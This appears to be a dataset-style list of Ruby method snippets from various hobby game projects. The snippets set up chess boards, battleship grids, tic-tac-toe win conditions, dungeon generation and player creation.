"def populate_board!\n\n # Populate Pawns\n (0..7).each do |x|\n Pawn.create(x_coordinates: x, y_coordinates: 1, game_id: self.id, color: 'white', image: 'white-pawn.png', status: 'active') # White\n Pawn.create(x_coordinates: x, y_coordinates: 6, game_id: self.id, color: 'black', image: 'blk-pawn.png', status: 'active') # Black\n end\n\n # Populate Rook\n Rook.create(x_coordinates: 0, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-rook.png', status: 'active') # White\n Rook.create(x_coordinates: 7, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-rook.png', status: 'active') # White\n Rook.create(x_coordinates: 0, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-rook.png', status: 'active') # Black\n Rook.create(x_coordinates: 7, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-rook.png', status: 'active') # Black\n\n # Populate Knight\n Knight.create(x_coordinates: 1, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-knight.png', status: 'active' ) # White\n Knight.create(x_coordinates: 6, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-knight.png', status: 'active' ) # White\n Knight.create(x_coordinates: 1, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-knight.png', status: 'active' ) # Black\n Knight.create(x_coordinates: 6, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-knight.png', status: 'active' ) # Black\n\n # Populate Bishop\n Bishop.create(x_coordinates: 2, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-bishop.png', status: 'active') # White\n Bishop.create(x_coordinates: 5, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-bishop.png', status: 'active') # White\n Bishop.create(x_coordinates: 2, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-bishop.png', status: 'active') # Black\n Bishop.create(x_coordinates: 5, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-bishop.png', status: 'active') # Black\n\n # Populate Queen\n Queen.create(x_coordinates: 3, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-queen.png', status: 'active') # White\n Queen.create(x_coordinates: 3, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-queen.png', status: 'active') # Black\n\n # Populate King\n King.create(x_coordinates: 4, y_coordinates: 0, game_id: self.id, color: 'white', image: 'white-king.png', status: 'active') # White\n King.create(x_coordinates: 4, y_coordinates: 7, game_id: self.id, color: 'black', image: 'blk-king.png', status: 'active') # Black\n end",
"def player_creation\n @players = []\n @available_roles_to_pick = ROLES.keys.shuffle\n @number_players = 0\n\n prompt_number_of_players\n\n @epidemic_cards_number = 0\n determine_epidemic_cards_number\n\n determine_deal_player_card_number\n create_players\n prompt_player_info\n end",
"def initialize\n\t\t@grid = Board.new\n\t\t@player_1 = Player.new\n\t\t@player_2 = Player.new\n\t\t@game_status = true #true means game is still playing\n\t\tassign_players\n\tend",
"def setup_board\r\n place_pawns\r\n place_bishops\r\n place_rooks\r\n place_knights\r\n place_queens\r\n place_kings\r\n end",
"def initialize\n \t@grid_w = 50\n \t@grid_h = 40\n \t@grid = []\n\t\n\t\t@player_x = 0\n\t\t@player_y = 0\n\t\t@has_enviroment_rendered=false\n\t\t#setup and fill grid with walls\n \t@grid_w.times.with_index do |x|\n \t\t@grid[x] = []\n\t\t\t@grid_h.times.with_index do |y|\n \t\t\t@grid[x][y]= 1\n \t \tend\n \tend\n\t\tmin_rooms = 2\n\t\tmax_rooms = 10\n\t\t#setup number of rooms that will exist\n\t\t@n_rooms = rand(max_rooms - min_rooms) + min_rooms\n\t\tputs \"n rooms #{@n_rooms}\"\n\t\trooms = []\n\t\t#define the size of each room\n\t\t@n_rooms.times.with_index do |room|\n\t\t\trooms[room] = make_room 8,10\n\t\tend\n\t\n\t\t#clears the walls from where rooms will be \n\t\trooms.each_with_index do |r,i| \n\t\t\t(r[:x]..r[:x] + r[:w]).each do |x|\n\t\t\t\t(r[:y]..r[:y] + r[:h]).each do |y|\n\t\t\t\t\t@grid[x][y]= 0\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t#create pathways towards the next room\n\t\trooms.each_cons(2) do |(cur_room, next_room)|\n\t\t\t#find the center of each room \n\t\t\tcenter_x = cur_room[:x] + cur_room[:w].idiv(2)\n\t\t\tcenter_y = cur_room[:y] + cur_room[:h].idiv(2)\n\n\t\t\tnext_center_x = next_room[:x] + next_room[:w].idiv(2)\n\t\t\tnext_center_y = next_room[:y] + next_room[:h].idiv(2)\n\n\t\t\t#loops between each rooms X and Y positions \n\t\t\t#this can be approached differently\n\t\t\t(min(center_x,next_center_x)..max(center_x,next_center_x)).each do |x|\n\t\t\t\t(min(center_y,next_center_y)..max(center_y,next_center_y)).each do |y|\n\t\t\t\t\t#checking if this position is in-line with either rooms x or y centres\n\t\t\t\t\t@grid[x][y] = 0 if y == center_y || y == next_center_y || x == center_x || x == next_center_x\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t@new_grid = []\n\t\t#set new grid to prune unneeded walls to improve performance\n\t\t@grid_w.times.with_index do |x|\n\t \t@new_grid[x] = []\n\t \t@grid_h.times.with_index do |y|\n \t\t\t@new_grid[x][y]= @grid[x][y]\n\t\t\tend\n\t end\n\t\t#set up values\n\t\t@grid_w.times.with_index do |x|\n \t\t@grid_h.times.with_index do |y|\n\t\t\t\t#if surrounded it should not be filled in\n\t\t\t\tif check_surrounding_tiles x,y\n\t\t\t\t\t@grid[x][y] = 0\n\t\t\t\tend\n \t\tend\n \tend\n\t\t#this will set the players starting position to a known safe area\n\t\t@player_x = rooms[0][:x] + rooms[0][:w].idiv(2)\n\t\t@player_y = rooms[0][:y] + rooms[0][:h].idiv(2)\n\t\t@grid[@player_x][@player_y] = 2\n\tend",
"def create_positions\n (1..GAME_BOARD_LENGTH).each do |y|\n (1..GAME_BOARD_LENGTH).each do |x|\n self.positions.new(x: x, y: y)\n end\n end\n set_ships\n save\n end",
"def initialize_players\n\n end",
"def init_player_board\n board = Board.create_player_board(self.id)\n board.place_ships\n end",
"def setup\n print 'Enter the number of players for this game -> '\n t = Util.get_i()\n if t >= 6\n abort('can only have less than 6 players, program aborting')\n end\n t.times do |index|\n @players << Player.new(index, @@INIT_DOLLAR)\n end\n end",
"def populate_board\n black = \"black\"\n white = \"white\"\n\n white_pawns = [\"A2\", \"B2\", \"C2\", \"D2\", \"E2\", \"F2\", \"G2\", \"H2\"]\n black_pawns = [\"A7\", \"B7\", \"C7\", \"D7\", \"E7\", \"F7\", \"G7\", \"H7\"]\n\n # create white pawns\n white_pawns.each do |pos|\n @board.nodes[pos].piece = create_pawn(white, pos)\n end\n\n # create white pieces\n @board.nodes[\"E1\"].piece = create_king(white, \"E1\")\n @board.nodes[\"D1\"].piece = create_queen(white, \"D1\")\n @board.nodes[\"C1\"].piece = create_bishop(white, \"C1\")\n @board.nodes[\"F1\"].piece = create_bishop(white, \"F1\")\n @board.nodes[\"B1\"].piece = create_knight(white, \"B1\")\n @board.nodes[\"G1\"].piece = create_knight(white, \"G1\")\n @board.nodes[\"A1\"].piece = create_rook(white, \"A1\")\n @board.nodes[\"H1\"].piece = create_rook(white, \"H1\")\n\n # create black pawns\n black_pawns.each do |pos|\n @board.nodes[pos].piece = create_pawn(black, pos)\n end\n\n # create black pieces\n @board.nodes[\"E8\"].piece = create_king(black, \"E8\")\n @board.nodes[\"D8\"].piece = create_queen(black, \"D8\")\n @board.nodes[\"C8\"].piece = create_bishop(black, \"C8\")\n @board.nodes[\"F8\"].piece = create_bishop(black, \"F8\")\n @board.nodes[\"B8\"].piece = create_knight(black, \"B8\")\n @board.nodes[\"G8\"].piece = create_knight(black, \"G8\")\n @board.nodes[\"A8\"].piece = create_rook(black, \"A8\")\n @board.nodes[\"H8\"].piece = create_rook(black, \"H8\")\n\n end",
"def create_objects\n # Create objects for the user.\n @user_board = Board.new\n @user_board.cells\n @user_board.selected_rows(4)\n user_cruiser = Ship.new('Cruiser', 3)\n user_submarine = Ship.new('Submarine', 2)\n @user_ships = []\n @user_ships << user_cruiser\n @user_ships << user_submarine\n \n # Create objects for the npc, and place the ships.\n npc_cruiser = Ship.new('Cruiser', 3)\n npc_submarine = Ship.new('Submarine', 2)\n @npc_ships = []\n @npc_ships << npc_cruiser\n @npc_ships << npc_submarine\n @npc = Computer.new(@npc_ships)\n @npc.board.cells\n @npc.board.selected_rows(4)\n @npc.computer_place\n end",
"def initialize()\n populate_squares\n @players = []\n @players << collect_player_info(\"one\")\n @players << collect_player_info(\"two\")\n @rows = [\n [0,1,2],\n [3,4,5],\n [6,7,8]\n ]\n @columns = [\n [0,3,6],\n [1,4,7],\n [2,5,8]\n ]\n @diagonals = [\n [0,4,8],\n [6,4,2]\n ]\n @win_conditions = [@rows,@columns,@diagonals]\n end",
"def start(every_player, width, height)\n Board.new(every_player, width, height)\nend",
"def populate_board!\n # white pieces\n # creates the 8 pawn pieces across the board\n 8.times do |i|\n # sets game_id in Piece model to current id in Game\n # color is boolean - true for white, false for black\n Pawn.create(game_id: id, x_coord: i, y_coord: 1, color: true, captured: false)\n end\n # creates the 2 rook, knight, and bishop pieces on opposite sides of the board\n (0..7).step(7) do |i|\n Rook.create(game_id: id, x_coord: i, y_coord: 0, color: true, captured: false)\n end\n (1..7).step(5) do |i|\n Knight.create(game_id: id, x_coord: i, y_coord: 0, color: true, captured: false)\n end\n (2..7).step(3) do |i|\n Bishop.create(game_id: id, x_coord: i, y_coord: 0, color: true, captured: false)\n end\n\n Queen.create(game_id: id, x_coord: 3, y_coord: 0, color: true, captured: false)\n King.create(game_id: id, x_coord: 4, y_coord: 0, color: true, captured: false)\n\n # black pieces\n 8.times do |i|\n Pawn.create(game_id: id, x_coord: i, y_coord: 6, color: false, captured: false)\n end\n (0..7).step(7) do |i|\n Rook.create(game_id: id, x_coord: i, y_coord: 7, color: false, captured: false)\n end\n (1..7).step(5) do |i|\n Knight.create(game_id: id, x_coord: i, y_coord: 7, color: false, captured: false)\n end\n (2..7).step(3) do |i|\n Bishop.create(game_id: id, x_coord: i, y_coord: 7, color: false, captured: false)\n end\n Queen.create(game_id: id, x_coord: 3, y_coord: 7, color: false, captured: false)\n King.create(game_id: id, x_coord: 4, y_coord: 7, color: false, captured: false)\n end",
"def initialize_board\n # Building out white pieces\n (0..7).each do |x|\n Pawn.create(is_black: false, x_position: x, y_position: 1, game_id: id, user_id: user_id_white, status: 'active')\n end\n\n Rook.create(is_black: false, x_position: 0, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Rook.create(is_black: false, x_position: 7, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n Knight.create(is_black: false, x_position: 1, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Knight.create(is_black: false, x_position: 6, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n Bishop.create(is_black: false, x_position: 2, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Bishop.create(is_black: false, x_position: 5, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n King.create(is_black: false, x_position: 4, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n Queen.create(is_black: false, x_position: 3, y_position: 0, game_id: id, user_id: user_id_white, status: 'active')\n\n # Building out the black pieces\n (0..7).each do |x|\n Pawn.create(is_black: true, x_position: x, y_position: 6, game_id: id, user_id: user_id_black, status: 'active')\n end\n\n Rook.create(is_black: true, x_position: 0, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Rook.create(is_black: true, x_position: 7, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n\n Knight.create(is_black: true, x_position: 1, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Knight.create(is_black: true, x_position: 6, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n\n Bishop.create(is_black: true, x_position: 2, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Bishop.create(is_black: true, x_position: 5, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n\n King.create(is_black: true, x_position: 4, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n Queen.create(is_black: true, x_position: 3, y_position: 7, game_id: id, user_id: user_id_black, status: 'active')\n end",
"def populate_board!\n # QUEENS - the user who created the game will be black, the opponent will be white\n Queen.create(game_id: id, user_id: user_id, position_x: 3, position_y: 7, color: \"black\", name: \"black queen\")\n Queen.create(game_id: id, user_id: opponent, position_x: 3, position_y: 0, color: \"white\", name: \"white queen\")\n # KINGS\n King.create(game_id: id, user_id: user_id, position_x: 4, position_y: 7, color: \"black\", name: \"black king\")\n King.create(game_id: id, user_id: opponent, position_x: 4, position_y: 0, color: \"white\", name: \"white king\")\n # BISHOPS\n # black bishops\n Bishop.create(game_id: id, user_id: user_id, position_x: 2, position_y: 7, color: \"black\", name: \"black bishop 1\")\n Bishop.create(game_id: id, user_id: user_id, position_x: 5, position_y: 7, color: \"black\", name: \"black bishop 2\")\n # white bishops\n Bishop.create(game_id: id, user_id: opponent, position_x: 2, position_y: 0, color: \"white\", name: \"white bishop 1\")\n Bishop.create(game_id: id, user_id: opponent, position_x: 5, position_y: 0, color: \"white\", name: \"white bishop 2\")\n # KNIGHTS\n # black knights\n Knight.create(game_id: id, user_id: user_id, position_x: 1, position_y: 7, color: \"black\", name: \"black knight 1\")\n Knight.create(game_id: id, user_id: user_id, position_x: 6, position_y: 7, color: \"black\", name: \"black knight 2\")\n # white knights\n Knight.create(game_id: id, user_id: opponent, position_x: 1, position_y: 0, color: \"white\", name: \"white knight 1\")\n Knight.create(game_id: id, user_id: opponent, position_x: 6, position_y: 0, color: \"white\", name: \"white knight 2\")\n # rooks\n # black rooks\n Rook.create(game_id: id, user_id: user_id, position_x: 0, position_y: 7, color: \"black\", name: \"black rook 1\")\n Rook.create(game_id: id, user_id: user_id, position_x: 7, position_y: 7, color: \"black\", name: \"black rook 2\")\n # white rooks\n Rook.create(game_id: id, user_id: opponent, position_x: 0, position_y: 0, color: \"white\", name: \"white rook 1\")\n Rook.create(game_id: id, user_id: opponent, position_x: 7, position_y: 0, color: \"white\", name: \"white rook 2\")\n # PAWNS\n # populate black pawns\n black_pawn_x = 0\n black_pawn_number = 1\n 8.times do\n Pawn.create(game_id: id, user_id: user_id, position_x: black_pawn_x, position_y: 6, color: \"black\", name: \"black pawn #{black_pawn_number}\")\n black_pawn_x += 1\n black_pawn_number += 1\n end\n # populate white pawns\n white_pawn_x = 0\n white_pawn_number = 1\n 8.times do\n Pawn.create(game_id: id, user_id: opponent, position_x: white_pawn_x, position_y: 1, color: \"white\", name: \"white pawn #{white_pawn_number}\")\n white_pawn_x += 1\n white_pawn_number += 1\n end\n end",
"def setup(board)\n ('a'..'h').each_with_index do |column, index|\n # Set up the home rows\n [[1, :white], [8, :black]].each do |row, color|\n piece = HOME_ROW[index].new(color)\n board.place( Square.new(column, row), piece )\n end\n \n # Setup the pawns\n [[2, :white], [7,:black]].each do |row, color|\n piece = Pawn.new(color)\n board.place( Square.new(column, row), piece)\n end\n end\n end",
"def set_players_ontable\r\n @players_on_table = []\r\n players_default = @app_settings[\"players\"]\r\n players_default.each do |hash_player|\r\n # add the defined player\r\n @players_on_table << PlayerOnGame.new(hash_player[:name], nil, hash_player[:type], 0)\r\n end\r\n end",
"def populate_board\n #the six rows get updated\n players.each do |player|\n rows = player == players[0] ? [ 0,1,2 ] : [ 5,6,7 ]\n piece_count = 0\n col = 0\n\n player.pieces.each do |piece|\n\n rows.shift if piece_count % 4 == 0 and piece_count != 0\n\n col_start = rows[0] % 2 == 1 ? 0 : 1\n col = 0 if (col_start == 0 || col_start == 1) && piece_count % 4 == 0\n\n piece.position = [col + col_start, rows[0]]\n squares[[col + col_start, rows[0]]] = piece\n\n col += 2\n piece_count += 1\n\n end\n\n end\n\n end",
"def setup_grid(skip_render, skip_set_pieces)\n @grid = Array.new(8) { Array.new(8) { EmptySquare.new } }\n unless skip_set_pieces\n set_major_minor\n set_pawns\n end\n\n render unless skip_render\n end",
"def place_pawns\r\n $board.each_index do |x|\r\n $board[x][1] = Pawn.new('white')\r\n $board[x][6] = Pawn.new('black')\r\n end\r\n end",
"def create_player()\n box_vertices = polygon_vertices(NUM_SIDES, EDGE_SIZE)\n @image = init_player_on_window(box_vertices)\n @body = CP::Body.new(1, CP::moment_for_poly(10.0, box_vertices, CP::Vec2.new(0, 0))) # mass, moment of inertia\n @body.p = CP::Vec2.new(@player_x, @player_y)\n shape = CP::Shape::Poly.new(@body, box_vertices, CP::Vec2.new(0, 0))\n shape.e = 0.0\n shape.u = 0.0\n shape.collision_type = :player\n @body.a = (3*Math::PI/2.0) # angle in radians; faces towards top of screen\n @space.add_body(@body)\n @space.add_shape(shape) \n end",
"def new_game\n @players = [@p1, @p2]\n\n round_gameplay\n until self.winner?\n next_round\n end\n\n end",
"def enter_arena\n\t\tif @state == :OPEN\n\t\t\tif @players.count == 2\n\t\t\t\tgame_spec =[{\"xStart\" => 25, \"yStart\" => 30, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[0].username}, \n\t\t\t\t \t\t\t\t\t\t{\"xStart\" => 30, \"yStart\" => 25, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"east\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[1].username}]\n\t\t\telsif @players.count == 3\n\t\t\t\tgame_spec =[{\"xStart\" => 25, \"yStart\" => 25, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[0].username}, \n\t\t\t\t \t\t\t\t\t\t{\"xStart\" => 75, \"yStart\" => 25, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[1].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 50, \"yStart\" => 75,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[2].username}]\n\t\t\telsif @players.count == 4\n\t\t\t\tgame_spec =[{\"xStart\" => 25, \"yStart\" => 30, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[0].username}, \n\t\t\t\t \t\t\t\t\t\t{\"xStart\" => 30, \"yStart\" => 25, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"east\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[1].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 75, \"yStart\" => 70,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[2].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 70, \"yStart\" => 75,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"west\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[3].username}]\n\t\t\telsif @players.count == 5\n\t\t\t\tgame_spec =[{\"xStart\" => 16, \"yStart\" => 25, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[0].username}, \n\t\t\t\t \t\t\t\t\t\t{\"xStart\" => 32, \"yStart\" => 75, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[1].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 50, \"yStart\" => 25,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[2].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 68, \"yStart\" => 75,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[3].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 84, \"yStart\" => 25,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[4].username}]\n\t\t\telsif @players.count == 6\n\t\t\t\tgame_spec =[{\"xStart\" => 16, \"yStart\" => 75, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[0].username}, \n\t\t\t\t \t\t\t\t\t\t{\"xStart\" => 50, \"yStart\" => 75, \n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[1].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 84, \"yStart\" => 75,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"south\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[2].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 16, \"yStart\" => 25,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[3].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 50, \"yStart\" => 25,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[4].username},\n\t\t\t\t\t\t\t\t\t\t{\"xStart\" => 84, \"yStart\" => 25,\n\t\t\t\t\t\t\t\t\t\t\t\"dirStart\" => \"north\",\n\t\t\t\t\t\t\t\t\t\t\t\"user\" => @players[5].username}]\n\t\t\tend\n\t\t\t@players.each_with_index do |p,i|\n\t\t\t\tputs \"#{p.username} entering arena\"\n\t\t\t\tp.socket.send({\"enterArena\"=>{\"playerId\"=>i, \n\t\t\t\t\t\"players\"=>game_spec}}.to_json)\n\t\t\tend \n\t\tend\n\t\t@state = :READY\n\tend",
"def load_players\n\t\tif self.new_record? && self.players.empty?\n\t\t\tself.user_ids.shuffle!.each_with_index do |user_id, index|\n\t\t\t\tself.players.build(position: index, user_id: user_id)\n\t \tend\n\t end\n \tend",
"def start_new_game\n x = create_player_x\n o = create_player_o\n \n @game = Game.start_game(x, o)\n end",
"def init players\n @setup[players.size.to_s].each do |player_id, nodes|\n player_id = player_id.to_i\n nodes.each do |node|\n find_node( node['node'] ).owner = player_id\n find_node( node['node'] ).add_soldiers player_id, node['number_of_soldiers']\n end\n end\n end",
"def new_game\n params_check(params[:player_names]) {\n @game = Game.create\n params[:player_names].split(\",\").each do |player_name|\n player = Player.create(name: player_name, game: @game)\n 10.times do |i|\n i == 10 ? Frame.create!(game: @game, player: player, position: i, final_frame: true) : Frame.create!(game: @game, player: player, position: i + 1)\n end\n end\n players = @game.players.map{ |player| { \"#{player.name}\": player.id } }\n process_response(@game.present?, \"Congratulations, you started a new game. Here's your game id: #{@game.id} and player data: #{players}\", @game.id)\n }\n end",
"def createplayers\n\n\t\t@bad_player_entries = Array.new\n\t\t@added_players = Array.new\n\t\t@error_count = 0\n\t\t\n\t\t# Get values from form field parameters\n\t\t\n\t\t@player_name = params[:Player1Name]\n\t\t@player_index = params[:Player1Index]\n\t\t@gid = params[:id]\n\n\t\tif !params[:Player1Name].empty?\n process_player(params[:id], params[:Player1Name], params[:Player1Index])\n\t\tend\n\t\t\n\t\t\n\t\tif @error_count > 0\n @game = Game.find(2)\n\t\t\trender('addplayers')\n else\n\t\t\tredirect_to(:action => 'gamelist')\n\t\tend\n\t\t\t\n\tend",
"def setup\n setup_major_pieces\n setup_pawns\n end",
"def init_players\n\t\t@human = Human.new(\"Jack\", Field.new)\n\t\t@computer = Computer.new(Field.new)\n\t\tinit_fields\n\tend",
"def setup_players(players)\n merge(\n players: players,\n scores: Hamster::Hash[players.map {|p| [p, 0] }],\n ).clear_tricks\n end",
"def initPlayers(names)\n names.each do |n|\n @players << Player.new(n)\n end\n end",
"def create_positions\n create_player_position\n create_target_position\n create_select_position\n create_object_position\n end",
"def initialize_game_board\n current_player = players.last\n gameboard_id = id\n update(current_player: current_player, current_state: 'ingame')\n Centercard.find_or_create_by!(gameboard_id: gameboard_id)\n Graveyard.find_or_create_by!(gameboard_id: gameboard_id)\n Playerinterceptcard.find_or_create_by!(gameboard_id: gameboard_id)\n Interceptcard.find_or_create_by!(gameboard_id: gameboard_id)\n\n # pp Player.find(current_player).gameboard\n players.each do |player|\n lobby_card = 0\n player.user.monsterone.blank? ? nil : lobby_card += 1\n player.user.monstertwo.blank? ? nil : lobby_card += 1\n player.user.monsterthree.blank? ? nil : lobby_card += 1\n Handcard.find_or_create_by!(player_id: player.id) # unless player.handcard\n Handcard.draw_handcards(player.id, self, 4) unless lobby_card.positive?\n Handcard.draw_handcards(player.id, self, 5 - lobby_card) if lobby_card.positive?\n Handcard.draw_one_monster(player.id, self) unless lobby_card.positive?\n end\n end",
"def setup_grid\n empty_rows\n [:white, :light_yellow].each do |color|\n back_rows(color)\n pawn_rows(color)\n end\n end",
"def build_grid\n x = 0\n 10.times do\n row = []\n y = 0\n 10.times do\n row.push({display: \"~~\", ship: false, coord: [x, y]})\n y += 1\n end\n self.grid << row\n x += 1\n end\n p self.grid\n end",
"def new_game(players) \n\t\tsession.clear\n\t\tsession[:round_count] = 0\n\t\tsession[:player] = Array.new\n\t\tparams[:numplayers].to_i.times do |x|\n\t\t\tsession[:player][x] = Player.new\n\t\t\tsession[:player][x].name = \"Player#{x}\"\n\t\tend\n\t\t#Add Computer Player\n\t\tif params[:computer_easy] == \"yes\"\n\t\t\tcomputerPlayer = Player.new\n\t\t\tcomputerPlayer.name = \"Fake Teresa\"\n\t\t\tcomputerPlayer.computer = true\n\t\t\tcomputerPlayer.difficulty = 0\n\t\t\tsession[:player] << computerPlayer\n\t\tend\n\t\tif params[:computer_medium] == \"yes\"\n\t\t\tcomputerPlayer = Player.new\n\t\t\tcomputerPlayer.name = \"Pete Corolla\"\n\t\t\tcomputerPlayer.computer = true\n\t\t\tcomputerPlayer.difficulty = 1\n\t\t\tsession[:player] << computerPlayer\n\t\tend\n\t\tif params[:computer_hard] == \"yes\"\n\t\t\tcomputerPlayer = Player.new\n\t\t\tcomputerPlayer.name = \"Hairy Brian\"\n\t\t\tcomputerPlayer.computer = true\n\t\t\tcomputerPlayer.difficulty = 2\n\t\t\tsession[:player] << computerPlayer\n\t\tend\n\tend",
"def put_pawns\n row = 1\n color = \"w\"\n 2.times do\n @@board[row].each_index do |i|\n @@board[row][i] = Pawn.new(i, row, color)\n end\n row = 6\n color = \"b\"\n end\n end",
"def place_initial_pieces\n x = @board.get_size/2\n y = @board.get_size/2\n \n @board.place_piece(x, y, @players[0])\n @board.place_piece(x - 1, y, @players[1])\n @board.place_piece(x, y - 1, @players[1])\n @board.place_piece(x -1, y - 1, @players[0])\n end",
"def set_players(num)\n @num_players=num\n for i in 0...@num_players\n @players[i] = Player.new(@ui.get_player_name(i+1))\n end\n end",
"def init_game\n @io.welcome_msg\n @num_decks = @io.get_num_decks \n @player_cnt = @io.get_player_cnt(@max_players)\n players_names = @io.get_players_names\n\n # Initialize player objects\n 0.upto(players_names.length - 1) do |x|\n @players[x] = Player.new(players_names[x], @bankroll)\n end\n\n # Create the dealer and add as a player\n @dealer = Dealer.new\n @dealer.hit_soft_17 = @hit_soft_17\n @players[@players.length] = @dealer\n end",
"def set_pieces\n # white pieces\n (1..8).each do |index|\n Pawn.create(game_id: id, x_position: index, y_position: 2, color: 'white', active: true)\n end\n Rook.create(game_id: id, x_position: 1, y_position: 1, color: 'white', active: true)\n Knight.create(game_id: id, x_position: 2, y_position: 1, color: 'white', active: true)\n Bishop.create(game_id: id, x_position: 3, y_position: 1, color: 'white', active: true)\n Queen.create(game_id: id, x_position: 4, y_position: 1, color: 'white', active: true)\n King.create(game_id: id, x_position: 5, y_position: 1, color: 'white', active: true)\n Bishop.create(game_id: id, x_position: 6, y_position: 1, color: 'white', active: true)\n Knight.create(game_id: id, x_position: 7, y_position: 1, color: 'white', active: true)\n Rook.create(game_id: id, x_position: 8, y_position: 1, color: 'white', active: true)\n # black pieces\n (1..8).each do |index|\n Pawn.create(game_id: id, x_position: index, y_position: 7, color: 'black', active: true)\n end\n Rook.create(game_id: id, x_position: 1, y_position: 8, color: 'black', active: true)\n Knight.create(game_id: id, x_position: 2, y_position: 8, color: 'black', active: true)\n Bishop.create(game_id: id, x_position: 3, y_position: 8, color: 'black', active: true)\n Queen.create(game_id: id, x_position: 4, y_position: 8, color: 'black', active: true)\n King.create(game_id: id, x_position: 5, y_position: 8, color: 'black', active: true)\n Bishop.create(game_id: id, x_position: 6, y_position: 8, color: 'black', active: true)\n Knight.create(game_id: id, x_position: 7, y_position: 8, color: 'black', active: true)\n Rook.create(game_id: id, x_position: 8, y_position: 8, color: 'black', active: true)\n end",
"def create_grid\n grid = Array.new(6, Array.new(7, BLANK))\n end",
"def populate_board(board)\n #Fills in the top and bottom rows\n [0, 7].each do |row|\n 4.times do |col|\n board[row][col] = create_piece(row, col)\n board[row][(7-col)] = create_piece(row, (7-col))\n end\n end\n\n #Fills in the pawns\n 8.times do |col|\n board[1][col] = BlackPawn.new(1, col)\n board[6][col] = WhitePawn.new(6, col)\n end\n\n board\n end",
